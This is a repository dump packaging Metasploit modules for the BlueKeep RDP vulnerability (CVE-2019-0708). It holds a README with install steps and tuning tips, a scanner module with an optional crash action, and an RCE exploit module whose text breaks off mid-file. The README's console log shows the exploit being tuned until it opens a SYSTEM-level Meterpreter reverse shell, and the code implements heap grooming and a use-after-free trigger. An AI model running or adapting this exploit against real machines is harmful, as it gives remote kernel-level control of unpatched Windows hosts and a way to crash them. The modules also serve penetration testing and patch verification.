├── README.md ├── cve_2019_0708_bluekeep.rb ├── cve_2019_0708_bluekeep_rce.rb ├── rdp.rb └── rdp_scanner.rb /README.md: -------------------------------------------------------------------------------- 1 | # bluekeep-exploit 2 | Bluekeep(CVE 2019-0708) exploit released 3 | 4 | 5 | https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/ 6 | 7 | How To use: 8 | 9 | Simply make folder named rdp (for convenience) in /usr/share/metasploit-framework/modules/exploits/windows/ 10 | paste this exploit file(cve_2019_0708_bluekeep_rce.rb) in the folder(rdp) and use ur metasploit skills 11 | 12 | Also replace the files in following folders:- 13 | 14 | rdp.rb --> /usr/share/metasploit-framework/lib/msf/core/exploit/ 15 | 16 | cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb 17 | rdp_scanner.rb --> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ 18 | 19 | cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb 20 | cve_2019_0708_bluekeep.rb --> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ 21 | 22 | cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 23 | cve_2019_0708_bluekeep_rce.rb --> /usr/share/metasploit-framework/modules/exploits/windows/rdp/ 24 | 25 | cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb 26 | 27 | 28 | like: 29 | use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 30 | 31 | and then ur general concepts of setting rhosts,lhost,payload etc 32 | 33 | Thanks to the Genius Group of People for their wonderful work 34 | 35 | 36 | Note:[I am not the developer of this exploit but only an ethusiast of learning exploits] 37 | 38 | 39 | HOW TO MAKE THE EXPLOIT WORK 100% OF THE TIME: 40 | 41 | ############################ 42 | 43 | You have to set the GROOMSIZE as show below with different combinations and error 44 | Also my VMWARE(15) windows hardware was 2GB RAM and 1 Core processor 45 | 46 | Conclusion setting GROOMSIZE to 50 worked as good as gold 47 | 48 | 49 | ############################ 50 | 51 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 100 52 | GROOMSIZE => 100 53 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run 54 | 55 | [*] Started reverse TCP handler on 192.168.43.84:4444 56 | [*] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No) 57 | [+] 192.168.43.137:3389 - The target is vulnerable. 58 | [*] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 100MB, target address 0xfffffa801f000000, Channel count 1. 59 | [*] 192.168.43.137:3389 - Surfing channels ... 60 | [*] 192.168.43.137:3389 - Lobbing eggs ... 61 | [*] 192.168.43.137:3389 - Forcing the USE of FREE'd object ... 62 | [*] Exploit completed, but no session was created. 63 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 150 64 | GROOMSIZE => 150 65 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run 66 | 67 | [*] Started reverse TCP handler on 192.168.43.84:4444 68 | [*] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No) 69 | [+] 192.168.43.137:3389 - The target is vulnerable. 70 | [*] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 150MB, target address 0xfffffa8022200000, Channel count 1. 71 | [*] 192.168.43.137:3389 - Surfing channels ... 72 | [*] 192.168.43.137:3389 - Lobbing eggs ... 73 | [-] 192.168.43.137:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer 74 | [*] Exploit completed, but no session was created. 75 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 50 76 | GROOMSIZE => 50 77 | msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run 78 | 79 | [*] Started reverse TCP handler on 192.168.43.84:4444 80 | [*] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No) 81 | [+] 192.168.43.137:3389 - The target is vulnerable. 82 | [*] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa801be00000, Channel count 1. 83 | [*] 192.168.43.137:3389 - Surfing channels ... 84 | [*] 192.168.43.137:3389 - Lobbing eggs ... 85 | [*] 192.168.43.137:3389 - Forcing the USE of FREE'd object ... 86 | [*] Sending stage (206403 bytes) to 192.168.43.137 87 | [*] Meterpreter session 2 opened (192.168.43.84:4444 -> 192.168.43.137:51854) at 2019-09-10 22:59:44 +0530 88 | 89 | meterpreter > getuid 90 | Server username: NT AUTHORITY\SYSTEM 91 | meterpreter > 92 | 93 | 94 | -------------------------------------------------------------------------------- /cve_2019_0708_bluekeep.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Auxiliary 7 | include Msf::Exploit::Remote::RDP 8 | include Msf::Auxiliary::Scanner 9 | include Msf::Auxiliary::Report 10 | 11 | def initialize(info = {}) 12 | super(update_info(info, 13 | 'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check', 14 | 'Description' => %q{ 15 | This module checks a range of hosts for the CVE-2019-0708 vulnerability 16 | by binding the MS_T120 channel outside of its normal slot and sending 17 | non-DoS packets which respond differently on patched and vulnerable hosts. 18 | It can optionally trigger the DoS vulnerability. 19 | }, 20 | 'Author' => 21 | [ 22 | 'National Cyber Security Centre', # Discovery 23 | 'JaGoTu', # Module 24 | 'zerosum0x0', # Module 25 | 'Tom Sellers' # TLS support, packet documenentation, DoS implementation 26 | ], 27 | 'References' => 28 | [ 29 | [ 'CVE', '2019-0708' ], 30 | [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ] 31 | ], 32 | 'DisclosureDate' => '2019-05-14', 33 | 'License' => MSF_LICENSE, 34 | "Actions" => [ 35 | ["Scan", "Description" => "Scan for exploitable targets"], 36 | ["Crash", "Description" => "Trigger denial of service vulnerability"], 37 | ], 38 | "DefaultAction" => "Scan", 39 | 'Notes' => 40 | { 41 | 'Stability' => [ CRASH_SAFE ], 42 | 'AKA' => ['BlueKeep'] 43 | } 44 | )) 45 | end 46 | 47 | def report_goods 48 | report_vuln( 49 | :host => rhost, 50 | :port => rport, 51 | :proto => 'tcp', 52 | :name => self.name, 53 | :info => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708', 54 | :refs => self.references 55 | ) 56 | end 57 | 58 | def run_host(ip) 59 | # Allow the run command to call the check command 60 | 61 | status = check_host(ip) 62 | if status == Exploit::CheckCode::Vulnerable 63 | print_good(status[1].to_s) 64 | elsif status == Exploit::CheckCode::Unsupported # used to display custom msg error 65 | status = Exploit::CheckCode::Safe 66 | print_status("The target service is not running or refused our connection.") 67 | else 68 | print_status(status[1].to_s) 69 | end 70 | 71 | status 72 | end 73 | 74 | def rdp_reachable 75 | rdp_connect 76 | rdp_disconnect 77 | return true 78 | rescue Rex::ConnectionRefused 79 | return false 80 | rescue Rex::ConnectionTimeout 81 | return false 82 | end 83 | 84 | def check_host(_ip) 85 | # The check command will call this method instead of run_host 86 | status = Exploit::CheckCode::Unknown 87 | 88 | begin 89 | begin 90 | rdp_connect 91 | rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError 92 | return Exploit::CheckCode::Unsupported # used to display custom msg error 93 | end 94 | 95 | status = check_rdp_vuln 96 | rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e 97 | bt = e.backtrace.join("\n") 98 | vprint_error("Unexpected error: #{e.message}") 99 | vprint_line(bt) 100 | elog("#{e.message}\n#{bt}") 101 | rescue RdpCommunicationError 102 | vprint_error("Error communicating RDP protocol.") 103 | status = Exploit::CheckCode::Unknown 104 | rescue Errno::ECONNRESET 105 | vprint_error("Connection reset") 106 | rescue => e 107 | bt = e.backtrace.join("\n") 108 | vprint_error("Unexpected error: #{e.message}") 109 | vprint_line(bt) 110 | elog("#{e.message}\n#{bt}") 111 | ensure 112 | rdp_disconnect 113 | end 114 | 115 | status 116 | end 117 | 118 | def check_for_patch 119 | begin 120 | 6.times do 121 | _res = rdp_recv 122 | end 123 | rescue RdpCommunicationError 124 | # we don't care 125 | end 126 | 127 | # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length 128 | # The arch governs which of the packets triggers the desired response 129 | # which is an MCS Disconnect Provider Ultimatum or a timeout. 130 | 131 | # Disconnect Provider message of a valid size for each platform 132 | # has proven to be safe to send as part of the vulnerability check. 133 | x86_string = "00000000020000000000000000000000" 134 | x64_string = "0000000000000000020000000000000000000000000000000000000000000000" 135 | 136 | if action.name == 'Crash' 137 | vprint_status("Sending denial of service payloads") 138 | # Length and chars are arbitrary but total length needs to be longer than 139 | # 16 for x86 and 32 for x64. Making the payload too long seems to cause 140 | # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing 141 | # the payload size and sending more of them doesn't seem to improve the 142 | # reliability. It *seems* to happen more often on x64, I haven't seen it 143 | # fail against x86. Repeated attempts will generally trigger the DoS. 144 | x86_string += "FF" * 1 145 | x64_string += "FF" * 2 146 | else 147 | vprint_status("Sending patch check payloads") 148 | end 149 | 150 | chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST 151 | channel_id = [1005].pack('S>') 152 | x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack("H*")), channel_id) 153 | 154 | x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack("H*")), channel_id) 155 | 156 | 6.times do 157 | rdp_send(x86_packet) 158 | rdp_send(x64_packet) 159 | 160 | # A single pass should be sufficient to cause DoS 161 | if action.name == 'Crash' 162 | sleep(1) 163 | rdp_disconnect 164 | 165 | sleep(5) 166 | if rdp_reachable 167 | print_error("Target doesn't appear to have been crashed. Consider retrying.") 168 | return Exploit::CheckCode::Unknown 169 | else 170 | print_good("Target service appears to have been successfully crashed.") 171 | return Exploit::CheckCode::Vulnerable 172 | end 173 | end 174 | 175 | # Quick check for the Ultimatum PDU 176 | begin 177 | res = rdp_recv(-1, 1) 178 | rescue EOFError 179 | # we don't care 180 | end 181 | return Exploit::CheckCode::Vulnerable if res&.include?(["0300000902f0802180"].pack("H*")) 182 | 183 | # Slow check for Ultimatum PDU. If it doesn't respond in a timely 184 | # manner then the host is likely patched. 185 | begin 186 | 4.times do 187 | res = rdp_recv 188 | # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3 189 | if res.include?(["0300000902f0802180"].pack("H*")) 190 | return Exploit::CheckCode::Vulnerable 191 | end 192 | end 193 | rescue RdpCommunicationError 194 | # we don't care 195 | end 196 | end 197 | 198 | Exploit::CheckCode::Safe 199 | end 200 | 201 | def check_rdp_vuln 202 | # check if rdp is open 203 | is_rdp, version_info = rdp_fingerprint 204 | unless is_rdp 205 | vprint_status "Could not connect to RDP service." 206 | return Exploit::CheckCode::Unknown 207 | end 208 | rdp_disconnect 209 | rdp_connect 210 | is_rdp, server_selected_proto = rdp_check_protocol 211 | 212 | requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto 213 | product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A' 214 | info = "Detected RDP on #{peer} (Windows version: #{product_version})" 215 | 216 | service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}" 217 | info << " (#{service_info})" 218 | 219 | print_status(info) 220 | 221 | if requires_nla 222 | vprint_status("Server requires NLA (CredSSP) security which mitigates this vulnerability.") 223 | return Exploit::CheckCode::Safe 224 | end 225 | 226 | chans = [ 227 | ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 228 | ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP], 229 | ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 230 | ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 231 | ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP], 232 | ] 233 | 234 | success = rdp_negotiate_security(chans, server_selected_proto) 235 | return Exploit::CheckCode::Unknown unless success 236 | 237 | rdp_establish_session 238 | 239 | result = check_for_patch 240 | 241 | if result == Exploit::CheckCode::Vulnerable 242 | report_goods 243 | end 244 | 245 | # Can't determine, but at least we know the service is running 246 | result 247 | end 248 | 249 | end 250 | -------------------------------------------------------------------------------- /cve_2019_0708_bluekeep_rce.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | # Exploitation and Caveats from zerosum0x0: 7 | # 8 | # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. 9 | # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) 10 | # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. 11 | # 4. RDP has chunked messages, so we use this to groom. 12 | # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. 13 | # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. 14 | # i. RDPSND only works when 15 | # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 16 | # ii. This registry key is not a default setting for server 2008 R2. 17 | # We should use alternate groom channels or at least detect the 18 | # channel in advance. 19 | # 5. Use chunked grooming to fit new data in the freed channel, account for 20 | # the allocation header size (like 0x38 I think?). At offset 0x100? is where 21 | # the "call [rax]" gadget will get its pointer from. 22 | # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 23 | # i. Hot-swap memory is another problem because, with certain VMWare and 24 | # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP 25 | # start. This can be anywhere from 100 mb to gigabytes of offset 26 | # before the NPP start. 27 | # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB 28 | # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need 29 | # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an 30 | # indirect call 31 | # d. We are limited to 0x400 payloads by channel chunk max size. My 32 | # current shellcode is a twin shellcode with eggfinders. I spam the 33 | # kernel payload and user payload, and if user payload is called first it 34 | # will egghunt for the kernel payload. 35 | # 6. After channel hole is filled and the NPP is spammed up with shellcode, 36 | # trigger the free by closing the socket. 37 | # 38 | # TODO: 39 | # * Detect OS specifics / obtain memory leak to determine NPP start address. 40 | # * Write the XP/2003 portions grooming MS_T120. 41 | # * Detect if RDPSND grooming is working or not? 42 | # * Expand channels besides RDPSND/MS_T120 for grooming. 43 | # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ 44 | # 45 | # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming 46 | # MS_T120 on XP... should be same process as the RDPSND 47 | 48 | class MetasploitModule < Msf::Exploit::Remote 49 | 50 | Rank = ManualRanking 51 | 52 | USERMODE_EGG = 0xb00dac0fefe31337 53 | KERNELMODE_EGG = 0xb00dac0fefe42069 54 | 55 | CHUNK_SIZE = 0x400 56 | HEADER_SIZE = 0x48 57 | 58 | include Msf::Exploit::Remote::RDP 59 | include Msf::Exploit::Remote::CheckScanner 60 | 61 | def initialize(info = {}) 62 | super(update_info(info, 63 | 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 64 | 'Description' => %q( 65 | The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, 66 | allowing a malformed Disconnect Provider Indication message to cause use-after-free. 67 | With a controllable data/size remote nonpaged pool spray, an indirect call gadget of 68 | the freed channel is used to achieve arbitrary code execution. 69 | ), 70 | 'Author' => 71 | [ 72 | 'Sean Dillon ', # @zerosum0x0 - Original exploit 73 | 'Ryan Hanson', # @ryHanson - Original exploit 74 | 'OJ Reeves ', # @TheColonial - Metasploit module 75 | 'Brent Cook ', # @busterbcook - Assembly whisperer 76 | ], 77 | 'License' => MSF_LICENSE, 78 | 'References' => 79 | [ 80 | ['CVE', '2019-0708'], 81 | ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], 82 | ], 83 | 'DefaultOptions' => 84 | { 85 | 'EXITFUNC' => 'thread', 86 | 'WfsDelay' => 5, 87 | 'RDP_CLIENT_NAME' => 'ethdev', 88 | 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' 89 | }, 90 | 'Privileged' => true, 91 | 'Payload' => 92 | { 93 | 'Space' => CHUNK_SIZE - HEADER_SIZE, 94 | 'EncoderType' => Msf::Encoder::Type::Raw, 95 | }, 96 | 'Platform' => 'win', 97 | 'Targets' => 98 | [ 99 | [ 100 | 'Automatic targeting via fingerprinting', 101 | { 102 | 'Arch' => [ARCH_X64], 103 | 'FingerprintOnly' => true 104 | }, 105 | ], 106 | # 107 | # 108 | # Windows 2008 R2 requires the following registry change from default: 109 | # 110 | # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] 111 | # "fDisableCam"=dword:00000000 112 | # 113 | [ 114 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', 115 | { 116 | 'Platform' => 'win', 117 | 'Arch' => [ARCH_X64], 118 | 'GROOMBASE' => 0xfffffa8003800000, 119 | 'GROOMSIZE' => 100 120 | } 121 | ], 122 | [ 123 | # This works with Virtualbox 6 124 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', 125 | { 126 | 'Platform' => 'win', 127 | 'Arch' => [ARCH_X64], 128 | 'GROOMBASE' => 0xfffffa8002407000 129 | } 130 | ], 131 | [ 132 | # This address works on VMWare 14 133 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', 134 | { 135 | 'Platform' => 'win', 136 | 'Arch' => [ARCH_X64], 137 | 'GROOMBASE' => 0xfffffa8030c00000 138 | } 139 | ], 140 | [ 141 | # This address works on VMWare 15 142 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', 143 | { 144 | 'Platform' => 'win', 145 | 'Arch' => [ARCH_X64], 146 | 'GROOMBASE' => 0xfffffa8018C00000 147 | } 148 | ], 149 | [ 150 | # This address works on VMWare 15.1 151 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', 152 | { 153 | 'Platform' => 'win', 154 | 'Arch' => [ARCH_X64], 155 | 'GROOMBASE' => 0xfffffa8018c08000 156 | } 157 | ], 158 | [ 159 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', 160 | { 161 | 'Platform' => 'win', 162 | 'Arch' => [ARCH_X64], 163 | 'GROOMBASE' => 0xfffffa8102407000 164 | } 165 | ], 166 | [ 167 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', 168 | { 169 | 'Platform' => 'win', 170 | 'Arch' => [ARCH_X64], 171 | 'GROOMBASE' => 0xfffffa8018c08000 172 | } 173 | ], 174 | ], 175 | 'DefaultTarget' => 0, 176 | 'DisclosureDate' => 'May 14 2019', 177 | 'Notes' => 178 | { 179 | 'AKA' => ['Bluekeep'] 180 | } 181 | )) 182 | 183 | register_advanced_options( 184 | [ 185 | OptBool.new('ForceExploit', [false, 'Override check result', false]), 186 | OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), 187 | OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), 188 | OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), 189 | ] 190 | ) 191 | end 192 | 193 | def exploit 194 | unless check == CheckCode::Vulnerable || datastore['ForceExploit'] 195 | fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') 196 | end 197 | 198 | if target['FingerprintOnly'] 199 | fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') 200 | end 201 | 202 | begin 203 | rdp_connect 204 | rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError 205 | fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') 206 | end 207 | 208 | is_rdp, server_selected_proto = rdp_check_protocol 209 | unless is_rdp 210 | fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') 211 | end 212 | 213 | # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us 214 | # from exploiting the target. 215 | if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) 216 | fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') 217 | end 218 | 219 | chans = [ 220 | ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], 221 | [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 222 | [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 223 | ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 224 | ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 225 | ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 226 | ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 227 | ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 228 | ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 229 | ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 230 | ] 231 | 232 | @mst120_chan_id = 1004 + chans.length - 1 233 | 234 | unless rdp_negotiate_security(chans, server_selected_proto) 235 | fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') 236 | end 237 | 238 | rdp_establish_session 239 | 240 | rdp_dispatch_loop 241 | end 242 | 243 | private 244 | 245 | # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is 246 | # received on a channel, and this is when we need to kick off our exploit. 247 | def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) 248 | # We have to do the default behaviour first. 249 | super(pkt, user, chan_id, flags, data) 250 | 251 | groom_size = datastore['GROOMSIZE'] 252 | pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) 253 | groom_chan_count = datastore['GROOMCHANNELCOUNT'] 254 | 255 | payloads = create_payloads(pool_addr) 256 | 257 | print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") 258 | 259 | target_channel_id = chan_id + 1 260 | 261 | spray_buffer = create_exploit_channel_buffer(pool_addr) 262 | spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) 263 | free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 264 | 265 | print_status("Surfing channels ...") 266 | rdp_send(spray_channel * 1024) 267 | rdp_send(free_trigger) 268 | 269 | chan_surf_size = 0x421 270 | spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min 271 | chan_surf_packet = spray_channel * spray_packets 272 | chan_surf_count = chan_surf_size / spray_packets 273 | 274 | chan_surf_count.times do 275 | rdp_send(chan_surf_packet) 276 | end 277 | 278 | print_status("Lobbing eggs ...") 279 | 280 | groom_mb = groom_size * 1024 / payloads.length 281 | 282 | groom_mb.times do 283 | tpkts = '' 284 | for c in 0..groom_chan_count 285 | payloads.each do |p| 286 | tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) 287 | end 288 | end 289 | rdp_send(tpkts) 290 | end 291 | 292 | # Terminating and disconnecting forces the USE 293 | print_status("Forcing the USE of FREE'd object ...") 294 | rdp_terminate 295 | rdp_disconnect 296 | end 297 | 298 | # Helper function to create the kernel mode payload and the usermode payload with 299 | # the egg hunter prefix. 300 | def create_payloads(pool_address) 301 | begin 302 | [kernel_mode_payload, user_mode_payload].map { |p| 303 | [ 304 | pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg 305 | p 306 | ].pack(' ex 309 | print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") 310 | end 311 | end 312 | 313 | def assemble_with_fixups(asm) 314 | # Rewrite all instructions of form 'lea reg, [rel label]' as relative 315 | # offsets for the instruction pointer, since metasm's 'ModRM' parser does 316 | # not grok that syntax. 317 | lea_rel = /lea+\s(?\w{2,3}),*\s\[rel+\s(?